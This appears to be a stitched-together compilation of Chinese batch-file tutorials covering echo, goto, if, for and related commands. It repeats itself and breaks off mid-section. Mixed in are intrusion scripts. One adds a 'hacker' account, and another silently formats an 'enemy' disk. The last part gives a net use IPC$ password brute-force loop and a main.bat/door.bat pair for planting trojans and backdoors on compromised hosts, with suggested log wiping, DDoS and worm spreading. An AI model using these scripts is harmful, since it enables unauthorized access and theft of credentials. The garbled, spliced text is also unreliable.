认识批处理命令

合集下载

批处理入门教程

批处理入门教程

批处理基本入门(以及一些dos常用命令)本文档中的文件未写明路径的情况下,均为和bat文件所在的当前路径下。

1.echo命令和@echo一般用于打印信息,也可以讲内容输出到文件中,文件不存在则自动创建,例如echo messageTXT > test.txt。

@不现实当前语句本身,例如@echo message注意:@echo off不但关闭以后命令的回显,连echo off命令本身也不显示通常有输出内容的命令后面加> nul,就会屏蔽显示的信息。

2.rem命令和: :都是表示注释的意思。

3.pause命令暂停运行,运行显示:请按任意键继续. . .4.errorlevel命令程序返回码echo %errorlevel%。

每个命令运行结束,可以用这个命令行格式查看返回码。

用于判断刚才的命令是否执行成功,默认值为0,一般命令执行出错会设errorlevel =15.title命令设置当前窗口的标题title newTitle6.color命令设置当前窗口颜色和字体颜色color 70 第一个为背景色16进制数,第二个为前景色。

取值范围:0~F。

如果没有给定任何参数,该命令会将颜色还原到CMD.EXE 启动时的颜色7.goto命令这是个跳转命令,在批处理中允许以“:XXX”来构建一个标号,然后用GOTO XXX跳转到标号:XXX处,然后执行标号后的命令。

8.find命令搜索文件中的字符串。

基本格式:find [/i] [/n] 文件路径。

例如:find -i –n “fanfan” fanfan.txt 忽略大小写搜索fanfan.txt文件中fanfan这个字符串,并显示所在的行号。

9.type命令打印显示(查看)一个文本文件类型的文件到控制台。

例如:type fanfan.txt扩展:可以配合find命令一起使用,例如type fanfan.txt | find -i -n “fanfan”10.start命令批处理中异步调用外部程序的命令,即异步执行,不需要得到外部程序运行完毕后才能进行本程序的向下执行。

批处理文件BAT的命令及使用

批处理文件BAT的命令及使用

批处理文件BAT的命令及使用1. echoecho命令用于在命令行窗口上显示文本或变量的内容。

用法:echo <文本>2. setset命令用于设置或显示环境变量。

用法:set <变量名称>=<值>3. ifif命令用于执行条件判断,根据条件的满足与否执行相应的操作。

用法:- 单个条件:if <条件> <命令>- 多个条件:if <条件1> <命令1> else if <条件2> <命令2> else <命令3>4. forfor命令用于循环操作,并可以对文件、文件夹、字符串等进行遍历操作。

用法:- 遍历文件/文件夹:for /r <路径> %变量 in (<通配符>) do <命令>- 数字循环:for /l %变量 in (<起始值>, <步长>, <结束值>) do<命令>5. callcall命令用于调用另一个批处理文件,并在调用完成后返回当前文件。

用法:call <批处理文件路径>6. startstart命令用于启动一个新的命令行窗口或程序,并可指定窗口标题、运行目录等选项。

用法:start <选项> <程序或文件路径>7. pausepause命令用于暂停批处理的执行,直到用户按下任意键才继续执行下一条命令。

用法:pause8. cdcd命令用于更改当前目录。

用法:cd <目录路径>9. mdmd命令用于创建一个新的目录。

用法:md <目录路径>10. deldel命令用于删除文件或文件夹。

用法:- 删除文件:del <文件路径>- 删除文件夹:del /s <文件夹路径>11. copycopy命令用于复制文件、文件夹或目录。

批处理bat详细教程 完整版解读

批处理bat详细教程 完整版解读

这个教程也是我迄今为止见过的写得最好的BAT教程,为什么我这么讲:1.这个教程非常全面2.教程大量采用实例讲解,简单易懂3.作者很有心,在教程中间插入了许多有趣的东西,让大家学习过程当中不在感到枯燥[不过在这里为了方便大家收录,我给去掉了,SORRY啊]4.教程写得很细。

5.由于教程非常全面,完成可以把它当作你学习的参考资料,在遇到问题的时候在这里一般都可以找到解决的方法。

在学习之前请作好心理准备,因为教程很长,不过大家也不要着急,一口是吃不成胖子的,慢慢来!第一章批处理基础第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BA T或者CMD。

这些命令统称批处理命令。

小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。

了解了大概意思后,我们正式开始学习.先看一个简单的例子!@echo offecho "欢迎来到非常BA T!"pause把上面的3条命令保存为文件test.bat或者test.cmd然后执行,他就会在屏幕上显示以下二行话:欢迎来到非常BAT!请按任意键继续. . .这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令"echo" 和"pause" 还有一个特殊符号"@"从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)======================================================批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟17、ATTRIB 显示或更改文件属性介绍命令1、REM 和::REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。

批处理dir命令详解

批处理dir命令详解

批处理dir命令详解dir /s /b /d d:\1.txt >2.txt查找d盘根目录及子目录下的所有1.txt并将其结果导入1.txt中dir /s /b /d/s查找当前目录以及所有子目录下的文件/b舍弃标题与摘要内容/d 跟宽式相同,但文件是按栏分类列出的。

/n 长列表格式即竖立格式与光杆dir 下无异/b /a:d 指定显示所有具有该属性的文件/b /d&/w 交互使用时,/d&/w 开关无效。

/q 显示文件所有权信息、或者说文件所有者信息/w 宽行格式显示 X轴序列文件名过长无效/d 宽行格式显示 Y轴序列文件名过长无效/d & /w 会在在文件夹的前后添加"[]"X/l 所显示文件名,全部为小写英文字母。

/c&/-c 禁用文件大小显示千位数分隔符。

默认显示分隔符“,” /-c 不显示分隔符。

/a:d 只显示文件夹(包括隐藏文件夹) /a:h 只显示隐藏文件 (包括具有当前属性的其他三种文件、夹)/a:r 仅显示只读文件(包括具有当前属性的其他三种文件、夹)/a:s 仅显示系统文件(包括具有当前属性的其他三种文件、夹)/a:a 只显示存档文件- - X----- 只显示文件 (包括具有存档属性的其他三种属性文件)这个命令对应 /a:d只显示文件夹。

windows中文件共有四种属性、分别为存档、只读、系统、隐藏/O 用分类顺序列出文件。

排列顺序 N 按名称(字母顺序) S 按大小(从小到大)E 按扩展名(字母顺序) D 按日期/时间(从先到后)G 组目录优先 - 反转顺序的前缀/o 开关解读/o:n_/o:name 按名称(字母顺序)列出文件 dir 默认显示如此可以舍弃/o:s_/o:size 按大小(从小到大)列出文件/o:e_/o:extension 按扩展名(字母顺序)列出文件/o:d_/o:date 日期/时间 (从先到后)列出文件/o:g_/o:group 组/组目录优先列出文件顺序排列为依次命令因此可以这样讲他们的优先顺序为g>d>e>s>n组>日期>扩展名>大小>名称例如dir /b /ad /ods 显示为 /od 顺序dir /b /ad /osd 显示同样为 /od 顺序dir /b /oeg 则显示为g 顺序这个可以进行多次测试我们大概的来对这个开关进行一个梳理/on /os /oe /od /gdir 默认的显示格式为字母顺序 /on可以抛弃但是尽量书写1、字母顺序2、文件大小~从小到大3、扩展名字母顺序4、日期顺序5、组目录优先-1、反转字母顺序2、从大到小3、扩展名字母顺序反转4、日期由最近的时间往前推5、组目录靠后但是同样也说明了一条就是 /o 作为一个显示顺序的开关我们只要为它指定一个参数便可以- 反转顺序 =。

bat命令注释

bat命令注释

目录第一章批处理基础第一节常用批处理内部命令简介1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION启动或停用延缓环境变量扩展名。

)17、A TTRIB显示或更改文件属性第二节常用特殊符号1、@命令行回显屏蔽符2、%批处理变量引导符3、> 重定向符4、>>重定向符5、<、>、<& 重定向符6、|命令管道符7、^转义字符8、组合命令9、& 组合命令10、||组合命令11、\"\"字符串界定符12、, 逗号13、; 分号14、() 括号15、! 感叹号第二章FOR命令详解一、基本格式二、参数/d仅为目录三、参数/R递归(文件名)四、参数/L迭代数值范围五、参数/F迭代及文件解析第三章FOR命令中的变量一、~I- 删除任何引号(\"),扩展%I二、%~fI- 将%I 扩展到一个完全合格的路径名三、%~dI- 仅将%I 扩展到一个驱动器号四、%~pI- 仅将%I 扩展到一个路径五、%~nI- 仅将%I 扩展到一个文件名六、%~xI- 仅将%I 扩展到一个文件扩展名七、%~sI- 扩展的路径只含有短名八、%~aI- 将%I 扩展到文件的文件属性九、%~tI- 将%I 扩展到文件的日期/时间十、%~zI- 将%I 扩展到文件的大小十一、%~$PATH:I第四章批处理中的变量一、系统变量二、自定义变量第五章set命令详解一、用set命令设置自定义变量二、用set命令进行简单计算三、用set命令进行字符串处理1、字符串替换2、字符串截取第六章if命令讲解第一种用法:IF [NOT] ERRORLEVEL number command第二种用法:IF [NOT] string1==string2 command第三种用法:IF [NOT] EXIST filename command第四种用法:IF增强的用法第七章DOS编程高级技巧一、界面设计二、if…else…条件语句三、循环语句四、子程序五、用ftp命令实现自动下载六、用7-ZIP实现命令行压缩和解压功能七、调用VBScript程序八、将批处理转化为可执行文件九、时间延迟1、利用ping命令延时2、利用for命令延时3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内十、模拟进度条十一、特殊字符的输入及应用十二、随机数(%random%)的应用技巧十三、变量嵌套与命令嵌套1、更正了所有的错别字,适当排版,增加条理性。

批处理详解

批处理详解

批处理详解一:批处理是什么批处理是什么?我们学习批处理,先弄懂这个问题,个人认为第一批处理是一个文本文件,可以使用任何一种文本编辑器编写,正是基于这个特点有时候我们不想让别人看到我们书写的代码而使用bat2com和bat2exe将其转换成exe文件,第二批处理是一种解释性程序,它的功能类似于意念,说强很强说弱又很弱,说它是一种程序更重要的是它和其他编程语言一样有自己的控制结构!而且这个程序有个特点就是解释执行即逐行逐句的翻译执行,这个特点我们在后面还会提到!第三任何批处理都是一个DOS的外部命令,这使得我们在编写批处理的时候可以使用参数,这里的参数不是指DOS命令的命令参数,后面的内容会做解释!学习批处理第一个需要解决的问题就是特殊符号!二:批处理中的特殊符号学会批处理中的特殊符号对于我们学习编写批处理是非常有用的!这里我做了一下简单的整理——:、::、&、&&、>、>>、|、||、nul、con、%、(),成对出现的东西是非常容易记忆的,下面我们结合具体的操作仔细的理解!1:“:”与“::”“::”与rem命令是一样效果,起解释说明的作用,和C++中的/……/一样!“:”符号的作用是标记一个标签与goto语句一起使用,其格式为: label,这点与C或C++中的goto语句是截然相反的,在C或者C++中的格式为label:!举例说明:@echo off::标签的使用与goto语句goto test:testecho goto语句test当然goto语句的跳转是有条件,在后面的批处理结构中你会发现goto语句的魅力,这里只是为了更好的理解上面的两个特殊符号!2:“&”与“&&”“&”与“&&”符号的作用是连接两个命令同时执行,区别在于前者不管第一条命令的执行是否成功,都会执行第二条命令,而后者只有在第一条命令执行成功以后才执行后面的命令!例子我们在学完第三组命令“|”与“||”在举!3:“|”与“||”“|”符号的作用是将|前执行的命令结果作为其后DOS命令的参数,比如dir|find "2008",dir 命令查看当前目录的文件,然后所有目录的列表作为find "2008"的参数,也就是从该文件目录下查找所有2008年建立的文件!“||”符号的作用与“|”是截然不同的,它也是连接两个命令同时执行,不过是第一条命令执行错误的条件下才会执行第二条命令!编写如下代码,保存为checkuser.bat:@echo offset a=set/p a=请输入要查找的用户名net user %a% >nul 2>nul && echo 存在该用户|| echo 用户不存在.这是Visual bat程序安装目录中非常经典的一个批处理,它的作用是检查用户输入的帐户是否存在,当用户输入账户后,比如hacker,然后执行net user hacker,如果是存在该帐户也就是说命令执行成功了,那么就显示存在该用户,如果不存在该帐户也就是net user hacker命令没执行成功,就显示用户不存在,结合上面的内容我想您已经理解“||”“&&”“&”三者的微妙之处了!4:“nul”和“con”在checkuser.bat中,我们看到>nul 2>nul的句子,前者是当命令执行成功后不显示回显,比如net user hacker /ad >nul这样用户添加成功后也不会有提示,后者是命令执行错误后不显示回显,两者同时使用的结果就是不论命令执行是否成功,都不显示任何信息!对于“nul”这个特殊符号我们可以理解为空字符的意思,除了不显示回显,还可以使用它删除文件,copy nul >1.txt或者type nul>1.txt,这种删除方式是比较安全的,我想当初李开复如果使用这种方法删除文件,也许就不会招来因为跳槽而导致的官司!对于“con”,我们可以简单的理解为屏幕,在cmd下我们输入:copy *.txt con,可以连续打开多个txt文件以方便我们查看!5:“>”与“>>”“>”它的作用是创建一个文件比如echo hacking >1.txt,而“>>”的作用是将内容追加到一个文件后面,比如前面1.txt的内容为hacking,在CMD下输入echo hacker>>1.txt,那么1.txt 的内容为hackinghacker!6:“%”与“()”把这两个符号放一起有点牵强,“()”起分隔符的作用,在后面的批处理中你会理解这点,在批处理我们可以理解为存在两个分隔符一是空格另一个是括号,这时候的“()”类似于c或者c++中的语句结束符“;”,很多时候我们还使用它包括多条DOS命令,这时候又有点类似于c 或者c++中的{},起包含语句块的作用!“%”它的作用是表示变量,而且在批处理文件和在命令行下书写格式不一样,在命令行下使用%variables,在批处理中我们使用%%variables或者%variables%(不同命令使用不同格式),对于原因,我想它类似于c或者c++中的“转义”,在编程语言中,为了某些特殊的需要提出了“转义”的概念,顾名思义就是转变符号的原有意思,比如\a是响铃!举个例子来说明%的意思,在C++中我们要在屏幕上输出一个“\”,则应该写做cout<<"\\";,如果要输出两个“\”则应该写成cout<<"\\\";,这个过程有个很好听的名字“脱逸”,%也遵循了这样方法,在后面我们将结合for命令详细的说明!提到“%”号,就不得不说一下参数,所谓参数是在批处理文件(开始说的每个批处理文件是一个外部命令)后所添加的以空格分隔的字符串,它的使用方法是%1-9,参数是针对批处理文件做为一个外部命令来说的,虽然参数和变量不是一个概念,但是它是按变量来处理的,所以有时候我们也就称为变量了!举例说明!@echo offmd %1md %1\天下1md %1\天下2md %1\天下3保存为test.bat我们在CMD下输入:test.bat 天下,执行后会在批处理目录中建立一个名字为“天下”的文件夹而且在该文件夹下会一次建立三个子文件夹,这当我们输入“test.bat 天下”的时候“天下”就作为参数传递给了%1,即%1=天下!另外%variables%的作用是引用环境变量!环境变量可以简单理解为系统已经设置好的系统变量比如%systemroot$是c:\windows,%compsec%代表的是c:\windows\system32\cmd.exe,对于系统设置好的环境变量我们可以在CMD下输入set查询,当然我们也可以使用set命令设置环境变量!下面我们看批处理中的控制结构!三:批处理中控制结构批处理中有四种控制结构:if结构、goto结构、for循环结构、call结构!,对于call和goto 结构应该算是以类,主要是因为它们都具有跳转功能,让很多小批处理转化成大批处理,有点结构化程序设计的味道!call命令的作用是调用其他的批处理文件,比如:call test.bat,而goto语句在文章开始我们就做了解释,所以我们主要说的就是if结构与for循环结构,首先我们先理解条件这个词的意思,把世界看成一个连锁体系,每一个事情的前一个事情就是该事情的条件,举个简单的例子,我们坐公交车前需要有1元的零钱,这里1元的零钱就是我们坐车的一个条件,当然在批处理或者程序中就不能那么的表达,在C++中条件其实只有两种:一种靠关系运算符实现,一种靠逻辑运算符实现,批处理中也遵循了这样的规则,当然在批处理使用最多条件还是靠“=”来实现!(一)if结构在CMD下输入if /?,我们会发现if有三种结构,我们先看这三种结构!1:IF [NOT] exist filename command这应该是最简单的一种IF结构,例如if exsit c:\1.txt type 1.txt、if not exsit c:\1.txt echo xxx>c:\1.txt!2:IF [NOT] ERRORLEVEL number command对于number,在DOS时代这个东西有N多比如1、2、3等等而且每个数字都有不同的意义,并且多个number排列时还有规则,在Windows中其实我们只要注意0和1就可以了!0代表的是程序执行成功,1代表的是程序执行失败!我们可以简单将errorlevel理解为一个变量!所以这个命令还可以这样书写:IF [NOT] %ERRORLEVEL%==number command我们举个简单的例子:net user hacker 123 /adif %errorlevel%==0 echo 添加帐户成功上面的内容我们还可以这样写:net user hacker 123 /adif not %errorlevel%==1 echo 添加帐户成功这两种表达看似等效,其实并不等效,第一个是只有用户添加成功的时候才显示添加帐户,而第二种的意思是不管添加成功还是本机已经存在该帐户,都会显示添加帐户成功,它们之间存在细微的差别!not相当于一个修饰,大家要善于分析条件!3:IF [NOT] string1==string2 command这种if结构也是非常有用的,这里首先需要注意等号是两个,其次注意引号并不是必须的,我们可以不加引号,加引号只是为了防止空字符!举例说明,以前很多文章中都涉及到cmd加密器的问题,就是让用户在运行cmd的时候,首先输入密码!网上有更复杂的,其实批处理学到这里我们就可以写出一个比较简单的cmd 加密程序!@echo offset /p %%a=请输入密码if %%a==hacker goto test:testecho 密码正确,登陆成功start %comspec%3:if……else结构在运行上面的批处理过程中,你会发现我们输入任何字符都可以运行cmd!编辑如下代码就不会出现上面的问题了!@echo offset /p %%a=请输入密码if %%a==hacker (goto test) else goto error:testecho 密码正确,登陆成功start %comspec%:errorecho 密码错误这里我们不讨论为什么会出现这样的错误,我们看在批处理中if……else结构的具体使用!在文章开始我们提到批处理是逐行逐句解释执行的,所以我们在用到if……else语句时,最好直接写到一行,写到一行我们需要注意,将if后面的命令,简称if子句,用括号括起来就好了,我想原因也许还是逐行逐句解释执行的,这里的()起的作用和空格一样就是分隔作用(上面提到过),一句话if……else语句,在批处理需要放到一行,并且if子句需要用括号括起来!5:/i开关if结构语句中有一个开关/i,使用该开关,在执行字符串比较的时候不会区分大小写!而且还可以使用如下运算符:EQU - 等于NEQ - 不等于LSS - 小于LEQ - 小于或等于GTR - 大于GEQ - 大于或等于书写如下代码:if /I %time% LEQ 06:00:00.00 goto g1if /I %time% LEQ 12:00:00.00 goto g2if /I %time% LEQ 18:00:00.00 goto g3if /I %time% LEQ 24:00:00.00 goto g4:g1net user administrator 123 && goto endg2:net user administrator 456 && goto endg3:net user administrator 789 && goto endg4:net user administrator 023 && goto end:endecho OK %time% 密码修改成功,下次登陆请注意这段代码的意思是根据当前系统时间自动修改计算机登陆密码!结合上面的解释,应该很容易明白,所以这里不在做说明!下面说批处理的精华所在for循环结构!(二):for循环结构1:for variable in (Set) do command (command-paremts)循环的意思是一次次的重复操作,至于操作什么,如何操作,操作多少次,我们都需要运用命令去自己设定!CMD下的for循环基本结构:for variable in (Set) do command (command-paremts)对于上面的结构首先我们先明确批处理中的for循环结构有三个关键字——for、in、do,这是使用for循环结构必不可少的!对于变量我们需要注意在批处理文件中遵循%%即双百分号,在cmd中一般使用%即单百分号,而且在for循环中变量只有52个,(a-z A-Z)可用,对于set的理解就多了,是一个很模糊的概念,可以是一个循环条件,也可以是一个文件、一个目录,command不仅可以是一堆DOS命令,还可以是一个批处理文件,所以后面才可以添加command-paremts!比如for %i in (*.bat *.txt) do del %%i, 这条语句是指,在当前目录下搜索所有BAT和TXT 文件,并逐个将搜索到的文件名存入变量%%i中,每搜索到一个,就执行del命令删除%%i 变量中指定的文件。

批处理文件BAT、CMD命令大全

批处理文件BAT命令大全之邯郸勺丸创作1.Echo 命令打开回显或封闭请求回显功效,或显示消息.如果没有任何参数,echo 命令将显示当前回显设置.语法echo [{on│off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格局的文件中.这将在以后的例子中体现出来.2.@ 命令暗示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格局化敌人的硬盘)自然不克不及让对方看到你使用的命令啦 . Sample:@echo off@echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不成以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的.)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令.语法:goto label (label是参数,指定所要转向的批处理程序中的行.)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2就是暗示变量.)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来暗示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识此外标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是按照这个:来寻找下一步跳到到那里.最好有一些说明这样你他人看起来才会理解你的意图啊.4.Rem 命令注释命令,起一个注释的作用,便于他人阅读和你自己日后修改. Rem MessageSample:@Rem Here is the description.5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:@echo off:begincopy a:*.* d: \backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back 中.显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您改换磁盘,然后按任意键继续处理.6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序.call 命令接受用作调用目标的标签.如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用.语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName指定要调用的批处理程序的位置和名称.filename 参数必须具有 .bat 或 .cmd 扩展名.7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用.入侵经常使用参数:MIN 开始时窗口最小化SEPARATE 在分隔的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就前往命令提示.如果在命令脚本内执行,该新行为则不会产生.8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不合的命令.使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格.它的前往码为 1234......如 : choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下 :@echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\dos\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ,然后if语句将作出判断,d暗示执行标号为defrag的程序段,m暗示执行标号为mem的程序段,e暗示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束.9.If 命令if 暗示将判断是否合适规定的条件,从而决定执行不合的命令. 有三种格局 :a、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,不然运行下一句.(注意是两个等号)如 if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparmsb 、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,不然运行下一句.c 、if errorlevel / if not errorlevel 数字待执行的命令如果前往码等于指定的数字,则条件成立,运行命令,不然运行下一句.如if errorlevel 2 goto x2DOS程序运行时都会前往一个数字给DOS,称为错误码errorlevel 或称前往码,罕见的前往码为0、1.10.for 命令for 命令是一个比较庞杂的命令,主要用于参数在指定的规模内循环执行命令.在批处理文件中使用 FOR 命令时,指定变量请使用 %%variablefor {%variable│%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数.(set) 指定一个或一组文件.可以使用通配符.command 指定对每个文件执行的命令.command-parameters 为特定命令指定参数或命令行开关.在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable.变量名称是区分大小写的,所以 %i 不合于 %I如果命令扩展名被启用,下列额定的 FOR 命令格局会受到支持: FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配. FOR /R [[drive:]path] %variable IN (set) DO command [command-检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句.如果在 /R 后没有指定目录,则使用当前目录.如果集仅为一个单点(.)字符,则枚举该目录树.FOR /L %variable IN (start,step,end) DO command [command-para该集暗示以增量形式从开始到结束的一个数字序列.因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1). FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command或者,如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名.继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理.处理包含读取文件,将其分红一行行的文字,然后将每行解析成零或更多的符号.然后用已找到的符号字符串变量值调用 For 循环.以默认方法,/F 通过每个文件的每一行中分隔的第一个空白符号.跳过空白行.您可通过指定可选 "options" 参数替代默认解析操纵.这个带引号的字符串包含一个或多个指定不合解析选项的关头字.这些关头字为:eol=c - 指一个行注释字符的结尾(就一个 )skip=n - 指在文件开始时忽略的行数.delims=xxx - 指分隔符集.这个替换了空格和跳格键的默认分隔符集.tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 自己.这会导致额定变量名称的格局为一个规模.通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额定的变量将在最后一个符号解析之分派并接受行的保存文本.usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称.sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command会阐发 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号.请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号.对于带有空格的文件名,您需要用双引号将文件名括起来.为了用这种方法来使用双引号,您还需要使用usebackq 选项,不然,双引号会被理解成是用作定义某个要阐发的字符串的.%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的.您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量.请记住,FOR 变量是单一字母、分大小写和全局的;同时不克不及有 52 个以上都在使用中.您还可以在相邻字符串上使用 FOR /F 阐发逻辑;办法是,用单引号将括号之间的 filenameset 括起来.这样,该字符串会被当作一个文件中的一个单一输入行.最后,您可以用 FOR /F 命令来阐发命令的输出.办法是,将括号之间的 filenameset 酿成一个反括字符串.该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件阐发.因此,以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i会枚举当前环境中的环境变量名称.另外,FOR 变量参照的替换已被增强.您现在可以使用下列选项语法:~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称.如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串可以组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径.%~ftzaI - 将 %I 扩充到类似输出线路的 DIR在以上例子中,%I 和 PATH 可用其他有效数值代替.%~ 语法用一个有效的 FOR 变量名终止.选取类似 %I 的大写变量名比较易读,并且避免与不分大小写的组合键混淆.以上是MS的官方帮忙,下面我们举几个例子来具体说明一下For 命令在入侵中的用途.sample2 :利用For命令来实现对一台目标Win2k主机的暴力密码破解.我们用net use \\ip\ipc$ "password" /u:"administrator"来测验考试这和目标主机进行连接,当成功时记下密码.最主要的命令是一条: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%来暗示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接.然后将程序运行结果传递给find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命令成功完成">>D:\ok.txt ,这样就ko了.sample3 :你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:).文章开头就谈到使用批处理文件,可以简化日常或重复性任务.那么如何实现呢?呵呵,看下去你就会明白了.主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法请拜见上面的sample1,在这里它暗示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k.而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用前往码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件. delims= 暗示vivtim.txt中的内容是一空格来分隔的.我想看到这里你也一定明白这victim.txt里的内容是什么样的了.应该按照%%i %%j %%k暗示的对象来排列,一般就是ip password username.代码雏形:--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it. :end--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ............OK:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------尚可扩展,例如:加入清除日志+DDOS的功效,加入定时添加用户的功效,更深入一点可以使之具备自动传播功效(蠕虫).此处未几做叙述,有兴趣的朋友可自行研究.批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况其实未几见,我们就不考虑它了.@echo offif "%1"=="a" format a::format@format a:/q/u/auotset@echo please insert another disk to driver A.@pause@goto fomat这个例子用于连续地格局化几张软盘,所以用的时候需在dos窗口输入fomat.bat 